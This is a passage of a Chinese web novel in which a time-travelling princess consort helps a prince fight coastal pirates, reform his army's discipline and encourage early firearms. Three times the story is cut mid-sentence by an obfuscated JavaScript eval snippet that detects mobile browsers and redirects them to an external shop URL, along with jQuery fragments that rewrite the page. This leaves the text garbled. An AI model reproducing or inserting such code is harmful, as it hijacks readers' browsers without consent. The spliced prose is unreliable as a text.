天地立心,为生民立命,为往圣继绝学,为万世开太平。 她想,只要有那么几个人记住了这四句话并尽全力去践行,她便又为这个世界多做了一丝贡献。 然而安生日子没过几天,秦澈便收到消息,临近冬季,沿海贼寇再生事端,劫掠了几个村庄,不仅杀人越货,还放火烧村,恶劣之极。 这样的情况不是今年才出现,只是比往年来得更早了些,秦澈的腿虽还未好全,但清州军从未懈怠过训练,他只要能坐镇军中,便能提振士气。 出发前一晚,慕衷情收拾好自己的行囊,对秦澈说了自己要随军出行的事情。 秦澈十分惊讶:“可是舟安变化如此之大,若你我都不在,难保不会出乱子。” 慕衷情却轻松答道:“司岳还在啊,她可以帮我们看着舟安。” “如今舟安的诸多事宜,皆是你以雷霆手段镇之,若你离开,那些惧你之人便会出手,司岳到时未必能摆平。”在秦澈的眼里,司岳依然还是从前那个倔强求生的小姑娘,他并不认为她有慕衷情的眼界和能力,否则也不会给司岳安排文书的职位,而不是让她去历练更多。 “你可不要小瞧了司岳,她这段时日帮了我许多,她可聪明着呢。”慕衷情夸完司岳,又认真解释道,“其实我一直都有想法改造一下清州军,这次是一个很好的机会,只是我不知道会不会引起他们的不满,会不会影响你在他们心中的威望,这点我得提前告诉你,你可以拒绝我随行,但不可以是因为司岳。” “如果是你写的那些纪律,我可以传令下去,让每个人都牢记于心。”秦澈说道,他依然想让慕衷情留在舟安,但不是因为担心自己的威望,只是海上的那些贼寇凭借对海洋和附近村庄的熟悉,清州军往往都要付出许多代价才能赢下一场场战役。 秦澈担心会护不住慕衷情。 慕衷情叹息一声,这里没有工业革命的基础,没有国破家亡的惨烈,几乎不可能建立起一支能够真正满足她设想的部队。 也正因如此,她必须亲自去做这件事,毕竟这里,并没有与她有着共同信仰的人,一个都没有。 秦澈坐在榻上,慕衷情坐在床边,两人的距离不远也不近。 “那你想如何做?你可以教我,让我来帮你完成这些事。”秦澈提议道。 烛光映照在慕衷情的脸上,她莞尔一笑:“你相信人人平等吗?” 秦澈心神一震,慕衷情只是轻巧地问了这么简单的一句话,他却像是受到了惨烈的拷问一般,下意识地避开了她的目光。 慕衷情又笑了一声,带着些悲凉:“王爷,这个世界并没有我的同伴,我理解你的顾虑,也无法反抗这个社会赋予的阶级和权力,您什么时候想杀了我,动手就好,我不是什么智力武力超群的超越者,也不是爽文大女主,但我还是那句话,我会死在我选择的道路上,九死亦不悔。” 秦澈很想问一句,他们相处许久,慕衷情仍然做好了随时会被他斩杀的准备吗?她就是这么看待自己的吗? 但他不敢问,他怕慕衷情瞧不起他心中只想着私情,更怕慕衷情认定自己不会是她的同路人。 “我不会杀你。”秦澈垂着眸保证道,“若你真的想去,便去吧。” 慕衷情这才放心地躺下:“那在去的路上,还要拜托王爷抽些时间与我讲讲你们过往抵抗倭寇袭扰的情况,在我的那个时代,我们也经历过类似的事情,说不定可以找到些方法用到这里来。” 秦澈心潮涌动,却没有说话。 慕衷情只当他累了,便说道:“王爷,晚安,祝我们旗开得胜。” 秦澈轻声应道:“祝我们旗开得胜。” 翌日一大早,慕衷情扎了个马尾又用发簪盘好,身着素衣,不施粉黛地跟着秦澈离开了舟安。 司岳在城墙上望着他们远去的背影,心中默念着慕衷情走之前提醒她的话,要守好舟安如今的成果,就要联合所有的百姓们,每个人都可以是耳目,揪出一切居心叵测之人。 司岳深吸一口气,目光坚定,她不比王爷王妃有声望,做不了太大的决定,但慕衷情给过她两个方向,免费读书和开设女户。 她就先从这两处着手,希望等王妃回来时,自己不会让她失望。 * 清州边境有一条很长的海岸线,渔民们世世代代生活在这里,建立起村庄与城镇,与阴晴不定却又深邃壮丽的海洋一边斗争一边共生。 可慕衷情到达被劫掠过后的村庄时,却只看到了一片焦土残垣,附近驻扎的士兵们最先赶来,安置百姓,清理战场。 与其说战场,倒不是说是一场残忍的屠杀。 他们没有办法准确预知这些贼寇何时、何地上岸,他们烧杀抢掠之后又会迅速坐船逃离,很多时候,军队赶到时,都已经太晚了。 这也是秦家世代镇守清州的缘故,北境再艰苦,也是一仗一仗地打,但南境不同。 为了抵抗倭寇,他们不得不征募大量农兵,平时种地有敌,来犯时能够尽快组织起抵抗力量。 这也导致清州军的军饷开支负担极重,尤其秋冬两季。 他们来到这次被劫掠的村庄附近,当地的农兵已经在安置受难的乡民们,那群倭寇在离开之前放了一把火烧了村庄,但在这里住了一辈子的乡民们不愿离开,便在村子附近临时搭建了帐篷暂时住下休养。 他们到达时,看到的就是这样一幅场景。 秦澈轻车熟路地找到这里的领头人,询问这伙贼寇的情况。 慕衷情不自觉地往那被一场火烧了个干净的村庄走去,一片焦土。 她似乎是想到了什么,脸色惨白着跑到一棵树下吐了。 再抬起头时,有人给她递了一壶水。 慕衷情有些恍惚看到手的主人,是秦澈,他的眼里透着担忧。 接过水壶,慕衷情漱了漱口,说道:“没事,想到了一些小时候看过的影片。” “何为影片?”秦澈问。 慕衷情没有解释,而是拉着秦澈稍微走远了些,说道:“我的故乡也遭遇过这样的祸事,甚至比这更残忍。” 说着,慕衷情抬起头,用手挡住刺眼的阳光:“那是一段极其惨痛的历史,那时的人们见不到天光,我一直没有忘记,为什么太阳是黑色的。” 秦澈挡住她的眼:“都会过去的,我们能赢。” 慕衷情看向秦澈:“我知道,我只是刚刚一时没有控制住情绪,你去忙你的,我整理一下我那个世界的历史中,我还记得的,对付倭寇的方式。” “没关系,我陪你,刚刚我已经了解了情况,这次的贼寇来去迅速,像是早就盯上了这里的村庄,而且他们似乎有目标,一来便直冲当地较为富有的几户人家,我怀疑有人给他们传递消息。”秦澈说道。 慕衷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528805|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情思索道:“你们这儿,有火器吗?” “箭矢点火,攻城火石。”秦澈答。 “还没有发明火铳吗?”慕衷情喃喃道,“那就只能用狼筅和鸳鸯阵了。” 她蹲下,在地上找了块石头将自己记得的狼筅的样式和鸳鸯阵大概的阵法说给秦澈听,并嘱咐秦澈一定要加紧训练起来,毕竟这次倭寇提前动手,又有内鬼,指不定什么时候再次出手。 打仗的事情慕衷情没有经验,甚至对于鸳鸯阵的了解也只是个大概,但秦澈毕竟征战多年,一看便知其中诀窍。 他兴奋地起身:“衷情,我已苦恼多年如何对付贼寇的长刀和伏击,如此我们一定能胜。” 慕衷情不好意思地笑笑:“这也是前人的智慧,因为有名,我恰好记下了而已。” 秦澈一把扛起慕衷情往回跑:“我得赶紧回去商量一下狼筅的制作和鸳鸯阵法的训练。” “诶诶诶,你去就好了,把我放下来吧,我帮他们一起照顾下受伤的百姓。”慕衷情连忙喊道。 秦澈放下慕衷情,有些不放心:“可是这些人中,很有可能就有与贼寇勾结之人,我担心你的安危。” 慕衷情把发簪拿下来,重新盘好头发:“别担心,他们擅长伏击,不会轻易攻击部队驻扎的地方,我既然跟着来了,就得以身作则,做些有用的事情。” 她对历史并不算精通,但她相信秦澈来到这里之后,那些流寇不会轻易攻击营地。 男主嘛,这点排面还是有的。 秦澈叹道:“好,不过我得留下几人保护你,好歹你也是我的王妃,可不能真出了事。” 这次慕衷情没再拒绝,只说道:“好,那你也帮我一个忙。” “什么?” “不是说好要整顿军队吗?但是这种事情你光靠说是没用的,第一,要以军规军纪去要求,违者重罚,第二,除了必要的训练之外,要进行军队扫盲,帮助他们认字读书,第三——”慕衷情突然顿住,她本来想说要设置政工人员,进行思想教育工作,但转念一想,这里的思想萌芽并没有足够的环境,拔苗助长容易出事。 “第三是什么?”秦澈正认真听着,见慕衷情突然闭口不言,一脸为难的模样,问道。 慕衷情思索了一会儿才接着说:“第三,按照我们那里的说法,支部建在连上,当然你们这里不是这么分的,那我们灵活一点,每一百到两百人之间的队伍,必须配备一个读书识字,懂军法懂指挥的人才,他必须正直,勇敢,认同我们的纪律和理念,了解这支队伍里每一个人的情况,并进行相关的引导和教育。” 秦澈此时也皱起了眉,一脸为难的人换成了他:“可是这般人才……” “我知道这不好找,也不好安排,前期甚至可能会出很多乱子,所以不着急慢慢来,我们可以先进行前面两件事,再缓缓进行改制。”慕衷情观察着秦澈的脸色,发现他只是为难,并无不悦,开始努力地给他洗脑。 “王爷,您可是清州的王,从小驰骋疆场,文武双全,又有一个拳拳为民之心,我相信无论面对怎么样的困难,您一定不会轻言放弃的,就像面对这片无边无际的大海上,那些残忍狠毒的倭寇,您也不曾退缩过,我们一定能取得最终的胜利!” 慕衷情一番话说得情真意切,慷慨激昂,秦澈都不免给感染到了,说到底也是个二十出头的青年,这满腔的热血稍微一激就上头了。 秦澈立刻注视着慕衷情道:“轻云说得对,从前多少生死险境都过来了,如今也一定能成功。” 慕衷情一怔,笑道:“你倒是许久没有喊我的字了,陆离。” 秦澈突然觉得耳朵有点热。 67. 六十七、 秦澈将慕衷情送到营地之后,便离开去忙了。 这一路上,他们都没有再说什么。 慕衷情只觉得秦澈有些奇怪,有时候她可以明显察觉到秦澈对她的信任和亲近,就像刚刚,可每次她才意识到一点,秦澈又会忽然像哑了火,默默地远离一些。 若不是知道秦澈在故事里就没有什么官配,她简直要怀疑秦澈是不是喜欢自己了。 不过她很快就否认了这个猜测,毕竟自己是从异世界来的,秦澈对自己的态度有所保留也很正常。 慕衷情在投入到安置百姓的工作之中后,便将这些事情抛之脑后,她在营地住了五天之后,才再次见到秦澈。 秦澈花了五天才将他们商讨的事情一一吩咐下去,并找了人大批量制作狼筅,画出鸳鸯阵的图纸,让士兵们开始按照阵法训练。 要不是此时除去倭寇才是头等大事,他倒是想和慕衷情再说说自己想要改制的想法,这几日睡前,他的脑海中一直回荡着慕衷情对他说的话,最终都汇成了慕衷情当初命人刻下的五个字“为人民服务”。 当一切的事情都从这几个字去发散思考的时候,秦澈才开始真正地理解慕衷情提出的那些军规军纪。 平心而论,比起大多数的将帅,秦澈称得上带兵有方,也从未做过劫掠百姓之事。 但他越想越觉得,自己成为不了这样一支军队的统帅,因为就连他自己都无法想象,民不惧兵的场景。 从小便在权力包围下长大的他,潜意识里仍然无法放下权力和威严。 好在,他意识到了这一点,所以好不容易空闲下来,便立刻过来找慕衷情。 他见到慕衷情时,慕衷情拿了块头巾包住自己的头,身上的衣服沾染着许多灰尘和污渍,不施粉黛的脸上滴着汗水,看起来辛苦又狼狈。 唯有她脸上的笑意依然明媚热忱。 清州,实在算不上一个好的封地,天气多变,灾祸频发,即使入秋,气温依然让人捉摸不透,早晨晴朗,下午便可能来场暴雨,今日炎热只需着纱裙,明日便可能结霜。 可慕衷情从未不曾向他抱怨过一句。 秦澈这般想着,便停在了不远处,没有走近。 今日他着便服,身旁也没有带人,没见过他的人只能瞧出他的富贵,但认不出他的身份。 他看着慕衷情将一碗药一口一口地喂到一个孩子的嘴里,那个女孩的左臂自手肘处断裂,被一个女子抱在怀里。 明明受了这么重的伤,女孩却没有哭喊叫嚷,吃着苦涩的药汤也没有任何不愿的神色。 慕衷情似乎在和那个女孩说着什么,女孩还时不时露出个笑容来,身后的女子亦是感激地看着慕衷情。 喂完药,慕衷情蹲在地上,在地上写了什么后才离开。 秦澈没有跟上去,而是走到那对母女面前蹲下,看清了地上的字,慕衷情用石子在松软的土上写了一个“朵”字。 “这是?”秦澈看向女子问道。 女子不知他是谁,有些紧张地小声答道:“这是朵朵的名字,刚刚慕姑娘说要教朵朵写自己的名字。” 秦澈低下头,露出一个温柔的笑。 慕衷情好像总是会做一些看似没什么用,却又让人心生温暖的事情。 “这位先生是?”女子怯怯地开口问道。 秦澈起身,张了张口欲言又止,最后背过身才说道:“我是轻云,也就是你口中的慕衷情的夫君。” 说罢,他大步离开,也没看到女子一瞬间柔和下来的目光。 仅仅五天,慕衷情已然与这营地中的百姓们打成一片,尤其是女子和孩子。 秦澈再次找到慕衷情的时候,她正在一片空地上,周围坐了一圈孩子,他们有的身上还缠着绷带,却都乖巧地坐在那里。 “长亭外,古道边,芳草碧连天……”慕衷情温柔的歌声响起,带了些忧愁,但十分动听。 她一句一句耐心地教着孩子们,稚嫩的童声响起,带着安抚人心的纯粹,河边有成群的妇女们在洗衣服,时不时有笑声传来,四周的营地仍然有痛呼惊叫,却不再沉闷压抑。 秦澈觉得有些荒诞,他居然在这样一个收容避难之所,看到了生机。 他站了许久,直到慕衷情教完一整首歌,孩子们散去,才走向她。 慕衷情这时才注意到他,高兴地问道:“你怎么来了?” 秦澈没说话,认真地望着慕衷情,忽然又笑了一声:“没事,有些问题没想明白,便出来看看这里的情况。” “好。”慕衷情没有问他到底遇到了什么想不明白的问题,“阵法和狼筅怎么样了?倭寇随时可能发起另一场战事,我们没有太多时间准备。” “我明白,但熟悉阵法也需要时间,我只能加紧训练,却也不能不让他们休养,否则到了战场上,过分疲累只能任人宰割。”秦澈道。 这方面秦澈有经验,慕衷情也只是提醒一句,见他这般说便放心了,两人并肩走在营地里,引来了诸多好奇打量的目光。 当然,也有很多人热情地与慕衷情打招呼。 “慕姑娘吃午饭了吗?” “衷情今日又漂亮了。” “慕姐姐好。” …… 不过,他们的目光都会在慕衷情身旁的秦澈身上转上一圈,探究又八卦。 慕衷情觉察到了他们的眼神,于是笑意盈盈地对秦澈说道:“不如今日你在这里吃了晚饭再走?” “嗯?好。”秦澈同样不多问,一口答应下来。 “你不问问为什么?”慕衷情好笑地说。 秦澈轻松道:“没关系,总之你不会害我。” 慕衷情眼珠一转,拉住秦澈的手腕:“那正好,还有一下午的时间,来,带你去个地方。” 说罢,慕衷情拉着秦澈往前跑去。 不一会儿,秦澈神情复杂地看着眼前的一盆盆被血水沾染的衣服,抹了一把脸上的汗。 “这儿的百姓有很多受了严重的伤,但他们的家园毁了,几乎是赖以生存的一切都失去了,能自由活动的人都在帮着士兵们照顾伤员,做饭,洗衣,所以你也不能闲着。”慕衷情说着,吸了吸鼻子,她的语调是向上扬的,秦澈却听出了些难过。 他抬起手,想拍拍慕衷情的脑袋安慰,但终究还是没有碰到她。 “我自小从军,洗衣服自然是会的,只是怕会有女子的衣物。”秦澈说到这里,似乎是怕慕衷情误会,又解释道,“此时处境,本不该计较这些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544162|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但你我不计较,不代表他人不计较,我是怕万一。” 慕衷情无奈地说:“我知道,所以这些都是分了类的,这边的都是女子衣物,那边的是男子衣物,只不过之前都是那些女子在洗而已。” 听到这话,秦澈放下心来,便利落地端起一个盆,往四周望了望,又拿了块皂角,坦然道:“走吧,一起去。” 慕衷情盯着他的动作,灿然一笑:“好。” 秦澈向来不是个娇气的,否则也不会成为威震四方的清州军主帅。 他洗的衣服甚至比慕衷情搓得还干净,晾晒时也是细细展开扯平,熟练又认真。 慕衷情看着他的动作,忽然就愣住了,她似乎是想起了什么,转过身便没有任何预兆地落下泪来。 秦澈立刻便注意到了慕衷情的异常,他有些担心地看着她的背影,但没有问,因为他知道,慕衷情一定是又想到了她的来处。 那像一个神话的国家,是她情绪中最汹涌的一部分。 她很想回去,从始至终都是如此。 秦澈低下头,心头传来一阵钝痛,一想到慕衷情只要有机会,便会毫不犹豫地回去,他便抑制不住地心痛。 两个人都默契地没有与对方提及自己的心绪,安静地晾晒完衣物。 “慕姑娘,开饭了,快和你的夫君一起来。”一个热情的喊声打破了他们之间那安静的氛围。 关于两人的关系,只用了一下午便已经传开,搞得慕衷情听到夫君两个字时差点没反应过来。 还好她这段时间太接地气,倒是没人怀疑她的身份,那些秦澈派给她的守卫,也被她安排去帮忙,没有大喇喇地跟在她身后晃。 秦澈走到慕衷情身边:“夫人,走吧。” 慕衷情无语地看他一眼,也不知道他什么时候有的戏瘾。 两人走到放饭处,乖乖地排队领饭菜,其中一个打菜的人正是秦澈留给慕衷情的其中一个侍卫。 他本来呲着个大牙高高兴兴地打菜,还会和熟悉的人随口侃上两句,结果冷不丁看到秦澈端着碗走到他面前,手一抖,一半的菜都调回了桶里。 秦澈抬起眼皮没有感情地瞟了他一眼,他一下子连自己埋哪里都想好了,结果秦澈什么都没说,就往前走去了。 因为他正在思考,慕衷情到底是用了什么方法,能把他那些训练有素的侍卫变成这种傻小子。 吃饭时,一个可爱的女孩走到慕衷情身边,双手递给她一个草编的蜻蜓,眼睛亮亮的,期待地望着慕衷情:“慕姐姐,这是我阿娘教我编的,我想送给你。” 慕衷情有些吃惊,但很快放下碗筷,也双手接过这个草编蜻蜓,然后摸摸小女孩的脑袋:“谢谢你,真漂亮,你怎么这么厉害呀,真是心灵手巧。” 女孩扬起笑容,又偷偷瞅了秦澈一眼,脆生生地说道:“还有阿娘说,慕姐姐和夫君真是般配。” 说完,女孩立马不好意思地跑走了,周围的人听到都立刻起哄地笑起来。 慕衷情挠挠头,将草编蜻蜓放到身上的小布袋里,没去理会那些八卦的笑声。 暮色四合,营地内一片祥和。 然而就在这时,不远处传来一阵战鼓声。 “有敌来袭!有敌来袭!” 68. 六十八、 秦澈立刻站起身,本来柔和的面庞陡然露出锐利冷峻的神情来。 慕衷情与他对视一眼,两人同时朝对方点点头。 秦澈一言不发地穿过人群回去调兵,慕衷情抱起一个断了腿的孩子安抚地拍着他的背,边跟着人群往树林中跑,边哄着被吓哭的孩子。 这个小男孩她认得,他的家人都死在那场大火中,这几日都由几个邻居轮流照看,但此时情况紧张,大家都在自己逃命,一时照看不上便落下了。 山上的树林密集,不是熟悉地形的人很容易迷路,大家祖祖辈辈生活在附近,自然知晓哪里可以暂时安身,慕衷情跟着他们躲到一个山洞里,听着山下的喊杀声,紧张得手心出汗。 和秦澈经历过那么多危机,她已经可以很好地克制对杀人的恐惧,但仍然无法直面这样的战场,尤其是身边还有那么多无辜百姓们。 不知道过了多久,天色已经完全暗了下来,大家在山上过了一夜,直到天亮才敢回去。 战场已经打扫得差不多,都不需要下什么命令,除了孩子们,大伙儿都非常熟练地上前帮助重建营地。 看着一脸麻木地将尸体拖走,为伤兵包扎喂药,重新打桩搭建帐篷的百姓们,慕衷情不知道心里是什么滋味,浓重的血腥味经过一夜依然未散,冲击着她的神经。 她将小男孩交给相熟的人,也立刻加入抬尸和伤兵的队伍中。 一连好几天,她都没再见到秦澈,只收到了让百姓迁徙分散至附近城镇的命令,这里太靠近海洋,那样的突袭说不定什么时候就会再来一次,让百姓们远离最前沿的战场,哪怕要拖着伤痛,也得离开。 除了慕衷情。 她被秦澈派给她的侍卫们送回了主力部队驻扎的营地。 两地相隔不算远,贼寇上一次的偷袭主要目的就是为了抢夺粮食和药品,所以秦澈才能以最快的速度组织兵力救援,又在几天后下了让百姓们离开的命令。 他们的目标实在太大,不跑得远些,迟早会出事。 慕衷情再次与秦澈住在了中军帐之中。 是夜,秦澈像从前那样打地铺,慕衷情却阻止了他:“别睡地上了,上来吧。” 秦澈张口就想拒绝,但看着慕衷情坦然的神色,默默地挪到了床边。 烛火都已经熄灭,慕衷情看不清秦澈有些无措的神色和通红的脸,只往里挪了挪,给他留出足够的空间。 秦澈轻声叹息,还是躺了过去,只是刻意与慕衷情保持足够的距离,避免碰到她。 “往年,你们大概都要打多久?”慕衷情忽然问道。 “打到冬日来临,初雪落下。”秦澈答道。 “突然想念舟安了。”深夜,人的情绪总是容易被放大,尤其是负面情绪,慕衷情的语气听起来有些失落。 秦澈翻了个身,侧身借着月光看慕衷情的侧脸:“这一次,会不一样的。” 有了新的武器和阵法,秦澈有信心能给予敌人一记重创,并且,这一日很快就会到来。 翌日,秦澈一大早起来去抓训练,慕衷情醒来时,外头的喊声气势如虹。 她快速洗漱了一番,如今所有人都知道她的身份,即便她穿着男装,也不会错认。 在训练场外待了一个多时辰,士兵们才有了休息的时间,秦澈朝慕衷情的方向走去,来到她面前。 “天气太热,你可以回去歇着,有什么事派人来告诉我一声就好。”秦澈看着她额头上的汗珠说道。 慕衷情随手用袖子抹了一下汗水:“我没这么金贵,只是想来看看大家的训练,这样能安心一点。” 秦澈刚想说有他在不会出问题,话到了嘴边又突然想到什么,说道:“白日有固定的训练和休息时间,等傍晚之后,不然我将他们聚集起来,你来上课。” “诶?”慕衷情诧异。 “思来想去,你说的人才暂时没有办法找出这么多,那不如先让你来讲述下你的那些想法,你才是最懂的那一个。”秦澈提议道。 慕衷情盘算了一会儿:“可以,每天上半个时辰的课,再给半个时辰自由讨论。” “自由讨论?” “嗯,不能只强制性灌输我的想法,也需要他们自己去理解,去发散,说不定就会得出一些我们都想不到的好方法,在我们那儿,就出现过很多这种一鸣惊人的英雄。”慕衷情一提到这些,脸上就忍不住流露出骄傲来。 “好,这些你来安排,有需要我做什么,尽管吩咐我便是。”秦澈笑道。 慕衷情打趣道:“那可不敢,您可是王爷。” 傍晚,秦澈召集了一批百夫长、千夫长,以及他手下最得力的几个将领,到训练场上集合。 暮色四合,慕衷情走上台,问了一个问题:“诸位,在你们的心中,参军是为了什么?” 立刻有粗粝的大嗓门抢答道:“战功!” “饷银!” 大家发出一阵不带恶意的哄笑声,显然对这两个答案都非常赞同。 慕衷情也点点头,但再次提出一个问题:“若有一场大胜,所有人历经一场艰苦战役,此时有令,可屠城三日以作宣泄,你们会如何?” 大伙儿齐刷刷地看向前排一起听讲的秦澈。 秦澈只说道:“只管回答王妃的问题,不必忌讳什么。” 以大家对秦澈的了解,他就不是会下屠城令的人。 可屠城犒劳自古以来便不算什么太稀罕的事情。 于是有人答道:“若为异族,自当雪恨。” “那如有一日,我方城破,你们愿意自己的百姓,自己的亲人面对这样的屠杀吗?”慕衷情坐在台子的边沿,晃着双腿,状似随意地问。 底下立刻噤声,霎时安静下来,只余晚风吹过耳畔的轻微声响。 慕衷情轻叹道:“那我们来说说,当你们或者亲人在家时,想要遇到怎样的士兵?筹粮时,炮火连天时,借宿时,哪怕只是经过时,你希望他们遇到的,是什么样的军队?” 这回,没有人抢答了,慕衷情等了一会儿,指向她唯一熟悉些的人刘竹柏。 “来,刘将军先说。” 刘竹柏没上过私塾,但此时被点名,忽然就与那些被先生点名回答问题的孩子们感同身受了。 他支支吾吾地开口:“若我不在时,自然是希望家中父母妻儿皆能平安无事。” 慕衷情笑着追问:“那你希望他们独自在家时,遇到的是什么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552618|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人?” 刘竹柏还想挣扎一下:“清州军军纪严明,我等并未欺辱过百姓。” “三大纪律八项注意你们都知道了吗?”慕衷情见状,又问道。 大伙儿点头。 慕衷情:“你们都做得到吗?先不说八项注意,光是三大纪律,你们能做到几条?能保证手下的兵做到几条?” 有个人小声问:“可是,即便做到了那些,又有什么用呢?” 是啊,没有一步之差就要亡国灭种的危机,没有内忧外患不断的局面,此时的百姓只是权贵们可以随意碾死的一只蚂蚁,他们又何必要尊重,要争取呢? “那就回到了之前我问的那些问题了,你们来当兵是为了什么,若是你们的家人,你们希望他们遇到的是一身土匪习气,随时可能烧杀抢掠的兵,还是说话和气,不打骂不抢夺的兵?” 众人面面相觑,一时之间没有人开口。 这个道理很好懂,却需要足够的自制力,就连他们自己都不能保证能做到。 于是慕衷情开始给他们讲故事,一个故步自封的腐朽王朝,如何被轰开大门,一群有勇气有理想的人,如何用骨血踏出一条前人未曾走过的路来。 这个故事很长,慕衷情准备慢慢讲,或许还要讲个一千零一夜。 结束这一堂课后,她提出了两个要求,第二,每天训练前,训练结束时,都要集体背诵这三大纪律八项注意,并且时不时进行抽查,保证每个人熟记于心,第二,每个人回去之后也要将她讲的故事,说给其他士兵听。 人群散去后,刚刚还中气十足的慕衷情颓然地低下头,她跳下台子,随手捡起地上的一颗石子扔了出去。 秦澈正朝她走来,见她这般停住脚步,确认她没有下一步动作之后,才说道:“今日讲得很好,但要改变一个人的想法和习惯,一天是不够的。” 慕衷情诧异地看向秦澈:“你是在安慰我吗?” “是。”秦澈坦然道,“不过,你为何不高兴?” “不是因为他们,是因为那个故事,一想起来就生气。”慕衷情说着,又气愤地踢石子。 慕衷情每一天都在给他们讲述那段历史,讲述那些对他们来说还很神奇的武器,和先进的思想。 本来她只是想着寓教于乐,让他们在故事里慢慢体会到思想的重要性。 但她没想到,仅仅过了半个月,便有人兴冲冲地闯到中军帐求见。 这段时日倭寇袭扰不断,为了慕衷情的安全,秦澈嘱咐过她,若没有人陪伴,千万不可出营地,甚至最好连中军帐都不要出。 因此,除了上课,她几乎都在帐篷里。 这倒是第一次有人求见的不是秦澈,而是她。 “末将参见王妃!”来人是一个高大威猛的将军,慕衷情记得他,和刘竹柏经常在一起,也经常一言不合就打一架,这个人叫做方安全,好记得很。 “方将军找我有什么事吗?”慕衷情疑惑道。 方安全十分兴奋道:“王妃,自从听了您讲的那些课,我有个脑袋灵活的手下,捣鼓了大半月,竟造出了您所说的那种枪!” 慕衷情眼睛瞬间瞪大,惊愕道:“什么?你快带我去看看!” 69. 六十九、 慕衷情跟在方安全身后到了训练场,此时本该是训练时间,却不见士兵们列阵,反而都围在一起,似乎是在激烈地讨论着什么。 这个时代的科技是造不出像现代那样先进的枪械的,慕衷情很清楚这一点,但她仍然对方安全说的枪充满了期待。 毕竟在冷兵器的时代,出现一种热武器,已经足够威慑敌人了。 她拨开人群挤了进去,只见一个有些瘦弱的士兵手持木棍,木棍前方是一节竹管,两者中间还连接着铁管,只见那士兵将竹管朝向无人的一方,点燃引线,便听一声巨响,竹管之中射出碎石,大约有一两百米的距离。 慕衷情深吸一口气,压抑住自己激动的心情,找到同在围观的秦澈:“王爷!这个形态,就是枪!只要继续改进,就能用威力更大,射程更远的枪械!发明这个的人才你可得好好培养!” 她太过兴奋,声音完全压不下来,大伙儿的注意力立刻都集中到了她身上。 秦澈眼中也有着激动,闻言他重重点头,立刻将这名士兵提拔。 但慕衷情兴奋的不止这个,她看向那名士兵,问道:“既然你能想到火枪的组装,那就先将制造它的方法告诉大家,我们要去批量制作武器,顺便进行材料的改进,然后你能不能再想想,制造地雷!” “地雷?那是什么?” 几乎所有人都在这一刻发出了同样的疑问。 慕衷情手舞足蹈地比划道:“就是那种可以埋在地里的武器,倭寇不是喜欢偷袭吗?清州靠海又多山,海上作战我们不擅长,那对方那些隐藏在山林中的倭寇,就可以用地雷去反击他们,把地雷埋在土里,只要有人踩到,就会爆炸,或是用那种长长的引线,有人埋伏在周围,只等敌人通过便立刻拉动引线引爆地雷,炸他个人仰马翻!” 听到她的话,那士兵的眼中迸发出异样的光彩,若非身份有别,他怕是要上前来拉慕衷情的手。 “王妃真的是,真的是……”那士兵没读过书,一时之间竟想不出用什么词来形容慕衷情。 所有人听着慕衷情描绘的场景,都万分畅快,有相熟的士兵拍拍那名瘦弱士兵的背,大声笑道:“铁柱,咱以后的好兵器可都要靠你了啊!” 慕衷情听到这也算得上熟悉的名字,一时神情复杂,她看了看铁柱满是老茧的手,温和问道:“你叫铁柱?” 见慕衷情如此温柔地问话,铁柱低头,满脸通红地答:“回王妃,是的,属下姓张,名叫铁柱。” 慕衷情看了秦澈一眼,秦澈虽不知道她要做什么,仍是朝她点头。 “你如此聪慧,双手也如此灵巧,不如我给你想个新名字吧?怎么样?你愿意吗?” 张铁柱激动地单膝跪地:“王妃赐名,属下自然是愿意的!” 说罢,他仰头期待地望着慕衷情。 慕衷情来回踱步,思索了好一会儿道:“张浴火,可以吗?” 说完,慕衷情自己有点不好意思地挠挠头:“其实我也不是很会起名,但是我觉得,你可以制造出火枪,未来就可能制造出更多可以让大家在战场上使用的火器,手上的武器越好,便越有活下来的机会,你便是他们每个人,浴火重生的希望。” 张铁柱,不,现在已经是张浴火的小士兵眼中露出热切的神情,充满希冀地说:“张浴火必定不会辜负王妃的嘱咐!” 慕衷情觉着他有些可爱,轻拍他的脑袋几下道:“加油,我相信你。” 张浴火脸一红,喃喃地念着“地雷”,转移注意力。 秦澈盯着慕衷情的手,却什么都没说,若是按照这个世界的规矩,王妃不该轻易去触碰一个普通士兵,可秦澈知道,他不能用这样的规矩去束缚慕衷情。 这样想着,他上前牵住慕衷情,果然慕衷情没有任何的羞赧或不悦,只是疑惑地看向他,应该是误以为他有什么事要与她说。 秦澈忽然笑了,拉着慕衷情离开,对身后的一众人等摆摆手道:“一切行动听指挥,开始,背上三遍才可散去。” 身后传来整齐的背诵声,慕衷情听得很满意。 她高兴地问秦澈:“怎么了?是有重要的事情要和我单独说吗?” 